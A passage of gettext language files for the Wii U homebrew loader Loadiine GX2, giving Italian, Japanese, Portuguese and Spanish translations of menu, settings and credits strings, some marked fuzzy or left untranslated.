src/menu/SettingsMenu.cpp:75\nmsgid \"Launch Mode\"\nmsgstr \"Modalità di Avvio\"\n\n#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94\nmsgid \"<Settings Default>\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:492\nmsgid \"Saving game settings!\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:32\nmsgid \"Off\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:33\nmsgid \"On\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:38\nmsgid \"Icon Carousel\"\nmsgstr \"Carosello di Icone\"\n\n#: src/menu/SettingsMenu.cpp:39\nmsgid \"Grid View\"\nmsgstr \"Griglia\"\n\n#: src/menu/SettingsMenu.cpp:40\nmsgid \"Cover Carousel\"\nmsgstr \"Carosello di Copertina\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Background customizations\"\nmsgstr \"Personalizza Sfondo\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"GUI\"\nmsgstr \"Interfaccia Grafica (GUI)\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Game View Selection\"\nmsgstr \"Modalità di Visualizzazione Giochi\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Adjust log server IP and port\"\nmsgstr \"Regola IP del server log e porta\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize games path\"\nmsgstr \"Personalizza Percorso Cartella Giochi\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize save path\"\nmsgstr \"Personalizza Percorso Salvataggi\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Loader\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Set save mode\"\nmsgstr \"Imposta Modalità Salvataggio\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Game\"\nmsgstr \"Gioco\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"HID settings\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Launch method selection\"\nmsgstr \"Seleziona Modalità di Avvio\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Log server control\"\nmsgstr \"Log Controllo Server\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Padcon settings\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"PyGecko settings\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits\"\nmsgstr \"Crediti\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits to all contributors\"\nmsgstr \"Ringraziamenti a tutti i contributors\"\n\n#: src/menu/SettingsMenu.cpp:60\nmsgid \"Game View TV\"\nmsgstr \"Vista TV\"\n\n#: src/menu/SettingsMenu.cpp:61\nmsgid \"Game View DRC\"\nmsgstr \"Vista DRC (gamepad)\"\n\n#: src/menu/SettingsMenu.cpp:66\nmsgid \"Show Game Settings\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:67\nmsgid \"Host IP\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:68\nmsgid \"Game Path\"\nmsgstr \"Percorso Gioco\"\n\n#: src/menu/SettingsMenu.cpp:69\nmsgid \"Game Save Path\"\nmsgstr \"Percorso Slavataggio\"\n\n#: src/menu/SettingsMenu.cpp:70\nmsgid \"Game Save Mode\"\nmsgstr \"Modalità Salvataggio\"\n\n#: src/menu/SettingsMenu.cpp:76\nmsgid \"Log Server Control\"\nmsgstr \"Log Controllo Server\"\n\n#: src/menu/SettingsMenu.cpp:77\nmsgid \"PyGecko\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:78\nmsgid \"Padcon\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:79\nmsgid \"HID-Pad\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:80\nmsgid \"HID-Pad Rumble\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:81\nmsgid \"HID-Pad Network\"\nmsgstr \"\"\n\n#~ msgid \"Art Atelier Mode\"\n#~ msgstr \"Modalità Art Atelier\"\n\n#~ msgid \"Shared Mode\"\n#~ msgstr \"Modalità Condivisa\"\n\n#~ msgid \"Unique Mode\"\n#~ msgstr \"Modalità Unica\"\n\n#~ msgid \"Mii Maker Mode\"\n#~ msgstr \"Modalità Mii Maker\"\n\n#~ msgid \"Smash Bros Mode\"\n#~ msgstr \"Modalità Smash Bros\"\n\n#~ msgid \"Karaoke Mode\"\n#~ msgstr \"Modalità Karaoke\"\n\n#~ msgid \"Log Server IP\"\n#~ msgstr \"Log IP Server\"\n"
  },
  {
    "path": "languages/japanese.lang",
    "content": "# Loadiine GX2 language source file.\n# japanese.lang - v0.1\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Loadiine GX2\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2016-08-28 11:40+0200\\n\"\n\"PO-Revision-Date: 2009-10-01 01:00+0200\\n\"\n\"Last-Translator: Glitch\\n\"\n\"Language-Team: Glitch\\n\"\n\"Language: Japanese\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\n#: src/menu/CreditsMenu.cpp:69\nmsgid \"Loadiine GX2\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:76\nmsgid \"Official Site:\"\nmsgstr \"公式サイト\"\n\n#: src/menu/CreditsMenu.cpp:89\nmsgid \"Coding:\"\nmsgstr \"コード:\"\n\n#: src/menu/CreditsMenu.cpp:102\nmsgid \"Design:\"\nmsgstr \"設計:\"\n\n#: src/menu/CreditsMenu.cpp:108\nmsgid \"Some guy who doesn't want to be named.\"\nmsgstr \"名前言われたくないやつ.\"\n\n#: src/menu/CreditsMenu.cpp:115\nmsgid \"Testing:\"\nmsgstr \"テストした人:\"\n\n#: src/menu/CreditsMenu.cpp:121\nmsgid \"Cyan / Maschell / n1ghty / OnionKnight and many more\"\nmsgstr \"Cyan / Maschell / n1ghty / OnionKnight などなど\"\n\n#: src/menu/CreditsMenu.cpp:128\nmsgid \"Social Presence:\"\nmsgstr \"社会的存在感:\"\n\n#: src/menu/CreditsMenu.cpp:141\nmsgid \"Based on:\"\nmsgstr \"源:\"\n\n#: src/menu/CreditsMenu.cpp:147\nmsgid \"Loadiine v4.0 by Golden45 and Dimok\"\nmsgstr \"Golden45とDimokのLoadiine v4.0\"\n\n#: src/menu/CreditsMenu.cpp:154\nmsgid \"Big thanks to:\"\nmsgstr \"本当にありがとう:\"\n\n#: src/menu/CreditsMenu.cpp:160\nmsgid \"lustar for GameTDB and hosting covers / disc images\"\nmsgstr \"カバーとディスク画像ホスティング＆GameTDBのlustarさん\"\n\n#: src/menu/CreditsMenu.cpp:167\nmsgid \"Marionumber1 for his kernel exploit\"\nmsgstr \"カーネルエクスプロイト作ったのMarionumber1さん\"\n\n#: src/menu/CreditsMenu.cpp:174\nmsgid \"The whole libwiiu team and it's contributors.\"\nmsgstr \"libwiiuチームのみんなと協力者がやりましたのみんな.\"\n\n#: src/menu/GameLauncherMenu.cpp:52\nmsgid \"Extra Save:\"\nmsgstr \"別セーブ:\"\n\n#: src/menu/GameLauncherMenu.cpp:53\nmsgid \"Enable DLC Support:\"\nmsgstr \"DLC使用可能:\"\n\n#: src/menu/GameLauncherMenu.cpp:76\nmsgid \"Update Folder\"\nmsgstr \"更新フォルダ\"\n\n#: src/menu/GameLauncherMenu.cpp:77\nmsgid \"Save Mode\"\nmsgstr \"セーブモード\"\n\n#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75\nmsgid \"Launch Mode\"\nmsgstr \"起動モード\"\n\n#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94\n#, fuzzy\nmsgid \"<Settings Default>\"\nmsgstr \"<デフォルト設定>\"\n\n#: src/menu/GameLauncherMenu.cpp:492\nmsgid \"Saving game settings!\"\nmsgstr \"ゲームの設定を保存する!\"\n\n#: src/menu/SettingsMenu.cpp:32\nmsgid \"Off\"\nmsgstr \"オフ\"\n\n#: src/menu/SettingsMenu.cpp:33\nmsgid \"On\"\nmsgstr \"オン\"\n\n#: src/menu/SettingsMenu.cpp:38\nmsgid \"Icon Carousel\"\nmsgstr \"アイコンカルーセル\"\n\n#: src/menu/SettingsMenu.cpp:39\nmsgid \"Grid View\"\nmsgstr \"グリッドビュー\"\n\n#: src/menu/SettingsMenu.cpp:40\nmsgid \"Cover Carousel\"\nmsgstr \"カバーカルーセル\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Background customizations\"\nmsgstr \"背景のカスタマイズ\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"GUI\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Game View Selection\"\nmsgstr \"ゲーム表示の設定\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Adjust log server IP and port\"\nmsgstr \"ログサーバーのIPとポートを設定\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize games path\"\nmsgstr \"ゲームパス変更\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize save path\"\nmsgstr \"セーブパス変更\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Loader\"\nmsgstr \"ローダー\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Set save mode\"\nmsgstr \"セーブモードの設定\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Game\"\nmsgstr \"ゲーム\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"HID settings\"\nmsgstr \"HID設定\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Launch method selection\"\nmsgstr \"起動方法を選んで\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Log server control\"\nmsgstr \"ログサーバー管理\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Padcon settings\"\nmsgstr \"Padconの設定\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"PyGecko settings\"\nmsgstr \"PyGeckoの設定\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits\"\nmsgstr \"関与した人々\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits to all contributors\"\nmsgstr \"協力者を称賛する\"\n\n#: src/menu/SettingsMenu.cpp:60\nmsgid \"Game View TV\"\nmsgstr \"テレビに映る\"\n\n#: src/menu/SettingsMenu.cpp:61\nmsgid \"Game View DRC\"\nmsgstr \"DRCに映る\"\n\n#: src/menu/SettingsMenu.cpp:66\nmsgid \"Show Game Settings\"\nmsgstr \"ゲームの設定を表示する\"\n\n#: src/menu/SettingsMenu.cpp:67\nmsgid \"Host IP\"\nmsgstr \"ホストIP\"\n\n#: src/menu/SettingsMenu.cpp:68\nmsgid \"Game Path\"\nmsgstr \"ゲームパス\"\n\n#: src/menu/SettingsMenu.cpp:69\nmsgid \"Game Save Path\"\nmsgstr \"セーブパス\"\n\n#: src/menu/SettingsMenu.cpp:70\nmsgid \"Game Save Mode\"\nmsgstr \"セーブモード\"\n\n#: src/menu/SettingsMenu.cpp:76\nmsgid \"Log Server Control\"\nmsgstr \"ログサーバー管理\"\n\n#: src/menu/SettingsMenu.cpp:77\n#, fuzzy\nmsgid \"PyGecko\"\nmsgstr \"PyGeckoの設定\"\n\n#: src/menu/SettingsMenu.cpp:78\nmsgid \"Padcon\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:79\nmsgid \"HID-Pad\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:80\nmsgid \"HID-Pad Rumble\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:81\nmsgid \"HID-Pad Network\"\nmsgstr \"\"\n\n#~ msgid \"Art Atelier Mode\"\n#~ msgstr \"絵心教室アトリエモード\"\n\n#~ msgid \"Shared Mode\"\n#~ msgstr \"共有モード\"\n\n#~ msgid \"Unique Mode\"\n#~ msgstr \"特有モード\"\n\n#~ msgid \"Mii Maker Mode\"\n#~ msgstr \"Miiスタジオモード\"\n\n#~ msgid \"Smash Bros Mode\"\n#~ msgstr \"スマブラモード\"\n\n#~ msgid \"Karaoke Mode\"\n#~ msgstr \"カラオケモード\"\n"
  },
  {
    "path": "languages/pt_BR.lang",
    "content": "# Loadiine GX2 language source file.\n# pt_BR.lang - v0.2\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Loadiine GX2\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2016-08-28 11:40+0200\\n\"\n\"PO-Revision-Date: 2009-10-01 01:00+0200\\n\"\n\"Last-Translator: AndréFranco\\n\"\n\"Language-Team: AndréFranco\\n\"\n\"Language: Português(Brasil)\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\n#: src/menu/CreditsMenu.cpp:69\nmsgid \"Loadiine GX2\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:76\nmsgid \"Official Site:\"\nmsgstr \"Site Oficial:\"\n\n#: src/menu/CreditsMenu.cpp:89\nmsgid \"Coding:\"\nmsgstr \"Programação:\"\n\n#: src/menu/CreditsMenu.cpp:102\nmsgid \"Design:\"\nmsgstr \"Design:\"\n\n#: src/menu/CreditsMenu.cpp:108\nmsgid \"Some guy who doesn't want to be named.\"\nmsgstr \"Um cara que não quis ser identificado\"\n\n#: src/menu/CreditsMenu.cpp:115\n#, fuzzy\nmsgid \"Testing:\"\nmsgstr \"Testadores:\"\n\n#: src/menu/CreditsMenu.cpp:121\nmsgid \"Cyan / Maschell / n1ghty / OnionKnight and many more\"\nmsgstr \"Cyan / Maschell / n1ghty / OnionKnight e muitos mais\"\n\n#: src/menu/CreditsMenu.cpp:128\nmsgid \"Social Presence:\"\nmsgstr \"Representante nas redes:\"\n\n#: src/menu/CreditsMenu.cpp:141\nmsgid \"Based on:\"\nmsgstr \"Baseado em:\"\n\n#: src/menu/CreditsMenu.cpp:147\nmsgid \"Loadiine v4.0 by Golden45 and Dimok\"\nmsgstr \"Loadiine V4.0 por Golden45 e Dimok\"\n\n#: src/menu/CreditsMenu.cpp:154\nmsgid \"Big thanks to:\"\nmsgstr \"Agradecimentos a:\"\n\n#: src/menu/CreditsMenu.cpp:160\nmsgid \"lustar for GameTDB and hosting covers / disc images\"\nmsgstr \"Lustar da GameTDB por hostear capas / imagens de disco\"\n\n#: src/menu/CreditsMenu.cpp:167\nmsgid \"Marionumber1 for his kernel exploit\"\nmsgstr \"Marionumber1 por seu kernel exploit\"\n\n#: src/menu/CreditsMenu.cpp:174\nmsgid \"The whole libwiiu team and it's contributors.\"\nmsgstr \"A todo o time da libwiiu e seus contribuidores.\"\n\n#: src/menu/GameLauncherMenu.cpp:52\nmsgid \"Extra Save:\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:53\nmsgid \"Enable DLC Support:\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:76\nmsgid \"Update Folder\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:77\n#, fuzzy\nmsgid \"Save Mode\"\nmsgstr \"Modo Compartilhado\"\n\n#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75\nmsgid \"Launch Mode\"\nmsgstr \"Modo de carregamento\"\n\n#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94\n#, fuzzy\nmsgid \"<Settings Default>\"\nmsgstr \"Testadores:\"\n\n#: src/menu/GameLauncherMenu.cpp:492\n#, fuzzy\nmsgid \"Saving game settings!\"\nmsgstr \"Testadores:\"\n\n#: src/menu/SettingsMenu.cpp:32\nmsgid \"Off\"\nmsgstr \"Desligado\"\n\n#: src/menu/SettingsMenu.cpp:33\nmsgid \"On\"\nmsgstr \"Ligado\"\n\n#: src/menu/SettingsMenu.cpp:38\nmsgid \"Icon Carousel\"\nmsgstr \"Carrossel de ícones\"\n\n#: src/menu/SettingsMenu.cpp:39\nmsgid \"Grid View\"\nmsgstr \"Exibição em grade \"\n\n#: src/menu/SettingsMenu.cpp:40\nmsgid \"Cover Carousel\"\nmsgstr \"Carrossel de capas\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Background customizations\"\nmsgstr \"Personalizar fundo\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"GUI\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Game View Selection\"\nmsgstr \"Aparência da Lista de jogos\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Adjust log server IP and port\"\nmsgstr \"Configurar IP:Porta do servidor de log\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize games path\"\nmsgstr \"Personalizar pasta dos jogos\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize save path\"\nmsgstr \"Personalizar pasta dos saves\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Loader\"\nmsgstr \"Carregador\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Set save mode\"\nmsgstr \"Estabelecer modo de save\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Game\"\nmsgstr \"Jogo\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"HID settings\"\nmsgstr \"Testadores:\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Launch method selection\"\nmsgstr \"Selecionar modo de carregamento\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Log server control\"\nmsgstr \"Iniciar servidor de Log\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"Padcon settings\"\nmsgstr \"Testadores:\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"PyGecko settings\"\nmsgstr \"Testadores:\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits\"\nmsgstr \"Créditos\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits to all contributors\"\nmsgstr \"Créditos aos colaboradores\"\n\n#: src/menu/SettingsMenu.cpp:60\nmsgid \"Game View TV\"\nmsgstr \"Visualização do jogo - TV\"\n\n#: src/menu/SettingsMenu.cpp:61\nmsgid \"Game View DRC\"\nmsgstr \"Visualização do jogo - DRC\"\n\n#: src/menu/SettingsMenu.cpp:66\n#, fuzzy\nmsgid \"Show Game Settings\"\nmsgstr \"Testadores:\"\n\n#: src/menu/SettingsMenu.cpp:67\nmsgid \"Host IP\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:68\nmsgid \"Game Path\"\nmsgstr \"Caminho do jogo\"\n\n#: src/menu/SettingsMenu.cpp:69\nmsgid \"Game Save Path\"\nmsgstr \"Caminho do save\"\n\n#: src/menu/SettingsMenu.cpp:70\nmsgid \"Game Save Mode\"\nmsgstr \"Modo de save\"\n\n#: src/menu/SettingsMenu.cpp:76\nmsgid \"Log Server Control\"\nmsgstr \"Controle do servidor de log\"\n\n#: src/menu/SettingsMenu.cpp:77\n#, fuzzy\nmsgid \"PyGecko\"\nmsgstr \"Testadores:\"\n\n#: src/menu/SettingsMenu.cpp:78\nmsgid \"Padcon\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:79\nmsgid \"HID-Pad\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:80\nmsgid \"HID-Pad Rumble\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:81\nmsgid \"HID-Pad Network\"\nmsgstr \"\"\n\n#~ msgid \"Art Atelier Mode\"\n#~ msgstr \"Modo Art Atelier\"\n\n#~ msgid \"Shared Mode\"\n#~ msgstr \"Modo Compartilhado\"\n\n#~ msgid \"Unique Mode\"\n#~ msgstr \"Modo Único\"\n\n#~ msgid \"Mii Maker Mode\"\n#~ msgstr \"Modo Criador Mii\"\n\n#~ msgid \"Smash Bros Mode\"\n#~ msgstr \"Modo Smash Bros\"\n\n#~ msgid \"Karaoke Mode\"\n#~ msgstr \"Modo Karaokê\"\n\n#~ msgid \"Log Server IP\"\n#~ msgstr \"IP do servidor de log\"\n"
  },
  {
    "path": "languages/pt_PT.lang",
    "content": "# Loadiine GX2 language source file.\n# pt_PT.lang - v0.1\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Loadiine GX2\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2016-08-28 11:40+0200\\n\"\n\"PO-Revision-Date: 2009-10-01 01:00+0200\\n\"\n\"Last-Translator: PTKickass\\n\"\n\"Language-Team: PTKickass\\n\"\n\"Language: Portuguese(Portugal)\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\n#: src/menu/CreditsMenu.cpp:69\nmsgid \"Loadiine GX2\"\nmsgstr \"Loadiine GX2\"\n\n#: src/menu/CreditsMenu.cpp:76\nmsgid \"Official Site:\"\nmsgstr \"Site oficial:\"\n\n#: src/menu/CreditsMenu.cpp:89\nmsgid \"Coding:\"\nmsgstr \"Programação:\"\n\n#: src/menu/CreditsMenu.cpp:102\nmsgid \"Design:\"\nmsgstr \"Design:\"\n\n#: src/menu/CreditsMenu.cpp:108\nmsgid \"Some guy who doesn't want to be named.\"\nmsgstr \"Um gajo qualquer que não quer ser mencionado.\"\n\n#: src/menu/CreditsMenu.cpp:115\nmsgid \"Testing:\"\nmsgstr \"Testadores:\"\n\n#: src/menu/CreditsMenu.cpp:121\nmsgid \"Cyan / Maschell / n1ghty / OnionKnight and many more\"\nmsgstr \"Cyan / Maschell / n1ghty / OnionKnight e muitos mais\"\n\n#: src/menu/CreditsMenu.cpp:128\nmsgid \"Social Presence:\"\nmsgstr \"Representante social:\"\n\n#: src/menu/CreditsMenu.cpp:141\nmsgid \"Based on:\"\nmsgstr \"Baseado em:\"\n\n#: src/menu/CreditsMenu.cpp:147\nmsgid \"Loadiine v4.0 by Golden45 and Dimok\"\nmsgstr \"Loadiine v4.0 por Golden45 e Dimok\"\n\n#: src/menu/CreditsMenu.cpp:154\nmsgid \"Big thanks to:\"\nmsgstr \"Um grande obrigado a:\"\n\n#: src/menu/CreditsMenu.cpp:160\nmsgid \"lustar for GameTDB and hosting covers / disc images\"\nmsgstr \"lustar da GameTDB por hospedar imagens de capas / discos\"\n\n#: src/menu/CreditsMenu.cpp:167\nmsgid \"Marionumber1 for his kernel exploit\"\nmsgstr \"Marionumber1 pelo seu kernel exploit\"\n\n#: src/menu/CreditsMenu.cpp:174\nmsgid \"The whole libwiiu team and it's contributors.\"\nmsgstr \"Toda a equipa libwiiu e aos seus contribuidores.\"\n\n#: src/menu/GameLauncherMenu.cpp:52\nmsgid \"Extra Save:\"\nmsgstr \"Jogo guardado extra:\"\n\n#: src/menu/GameLauncherMenu.cpp:53\nmsgid \"Enable DLC Support:\"\nmsgstr \"Ativar suporte a DLC:\"\n\n#: src/menu/GameLauncherMenu.cpp:76\nmsgid \"Update Folder\"\nmsgstr \"Pasta update\"\n\n#: src/menu/GameLauncherMenu.cpp:77\nmsgid \"Save Mode\"\nmsgstr \"Modo de guardamento\"\n\n#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75\nmsgid \"Launch Mode\"\nmsgstr \"Modo de carregamento\"\n\n#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94\n#, fuzzy\nmsgid \"<Settings Default>\"\nmsgstr \"<Opções Predefinidas>\"\n\n#: src/menu/GameLauncherMenu.cpp:492\nmsgid \"Saving game settings!\"\nmsgstr \"A guardar opções do jogo!\"\n\n#: src/menu/SettingsMenu.cpp:32\nmsgid \"Off\"\nmsgstr \"Desligado\"\n\n#: src/menu/SettingsMenu.cpp:33\nmsgid \"On\"\nmsgstr \"Ligado\"\n\n#: src/menu/SettingsMenu.cpp:38\nmsgid \"Icon Carousel\"\nmsgstr \"Carrocel de Ícones\"\n\n#: src/menu/SettingsMenu.cpp:39\nmsgid \"Grid View\"\nmsgstr \"Vista em Grade\"\n\n#: src/menu/SettingsMenu.cpp:40\nmsgid \"Cover Carousel\"\nmsgstr \"Carrocel de Capas\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Background customizations\"\nmsgstr \"Customizações de fundo\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"GUI\"\nmsgstr \"Interface\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Game View Selection\"\nmsgstr \"Tipo de vista de jogos\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Adjust log server IP and port\"\nmsgstr \"Ajustar a porta e IP do servidor de log\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize games path\"\nmsgstr \"Mudar localização de jogos\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize save path\"\nmsgstr \"Mudar localização de jogos guardados\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Loader\"\nmsgstr \"Carregador\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Set save mode\"\nmsgstr \"Definir modo de guardamento\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Game\"\nmsgstr \"Jogo\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"HID settings\"\nmsgstr \"Definições de HID\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Launch method selection\"\nmsgstr \"Modo de carregamento\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Log server control\"\nmsgstr \"Controlo do servidor de log\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Padcon settings\"\nmsgstr \"Definições do Padcon\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"PyGecko settings\"\nmsgstr \"Definições do PyGecko\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits\"\nmsgstr \"Créditos\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits to all contributors\"\nmsgstr \"Créditos a todos os contribuidores\"\n\n#: src/menu/SettingsMenu.cpp:60\nmsgid \"Game View TV\"\nmsgstr \"Vista de jogos - TV\"\n\n#: src/menu/SettingsMenu.cpp:61\nmsgid \"Game View DRC\"\nmsgstr \"Vista de jogos - DRC\"\n\n#: src/menu/SettingsMenu.cpp:66\nmsgid \"Show Game Settings\"\nmsgstr \"Mostrar definições de jogos\"\n\n#: src/menu/SettingsMenu.cpp:67\nmsgid \"Host IP\"\nmsgstr \"IP do hospedeiro\"\n\n#: src/menu/SettingsMenu.cpp:68\nmsgid \"Game Path\"\nmsgstr \"Localização de jogos\"\n\n#: src/menu/SettingsMenu.cpp:69\nmsgid \"Game Save Path\"\nmsgstr \"Localização de jogos guardados\"\n\n#: src/menu/SettingsMenu.cpp:70\nmsgid \"Game Save Mode\"\nmsgstr \"Modo de guardamento\"\n\n#: src/menu/SettingsMenu.cpp:76\nmsgid \"Log Server Control\"\nmsgstr \"Controlo do servidor de log\"\n\n#: src/menu/SettingsMenu.cpp:77\nmsgid \"PyGecko\"\nmsgstr \"PyGecko\"\n\n#: src/menu/SettingsMenu.cpp:78\nmsgid \"Padcon\"\nmsgstr \"Padcon\"\n\n#: src/menu/SettingsMenu.cpp:79\nmsgid \"HID-Pad\"\nmsgstr \"HID-Pad\"\n\n#: src/menu/SettingsMenu.cpp:80\n#, fuzzy\nmsgid \"HID-Pad Rumble\"\nmsgstr \"HID-Pad\"\n\n#: src/menu/SettingsMenu.cpp:81\n#, fuzzy\nmsgid \"HID-Pad Network\"\nmsgstr \"HID-Pad\"\n\n#~ msgid \"Art Atelier Mode\"\n#~ msgstr \"Modo Art Atelier\"\n\n#~ msgid \"Shared Mode\"\n#~ msgstr \"Modo partilhado\"\n\n#~ msgid \"Unique Mode\"\n#~ msgstr \"Modo único\"\n\n#~ msgid \"Mii Maker Mode\"\n#~ msgstr \"Modo Criador Mii\"\n\n#~ msgid \"Smash Bros Mode\"\n#~ msgstr \"Modo Smash Bros.\"\n\n#~ msgid \"Karaoke Mode\"\n#~ msgstr \"Modo Karaoke\"\n"
  },
  {
    "path": "languages/spanish.lang",
    "content": "# Loadiine GX2 language source file.\n# spanish.lang - v0.3\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Loadiine GX2\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2016-08-28 11:40+0200\\n\"\n\"PO-Revision-Date: 2016-04-02 07:28+0200\\n\"\n\"Last-Translator: MasQchips\\n\"\n\"Language-Team: MasQchips\\n\"\n\"Language: Español\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\n#: src/menu/CreditsMenu.cpp:69\nmsgid \"Loadiine GX2\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:76\nmsgid \"Official Site:\"\nmsgstr \"Sitio Oficial:\"\n\n#: src/menu/CreditsMenu.cpp:89\nmsgid \"Coding:\"\nmsgstr \"Codificación:\"\n\n#: 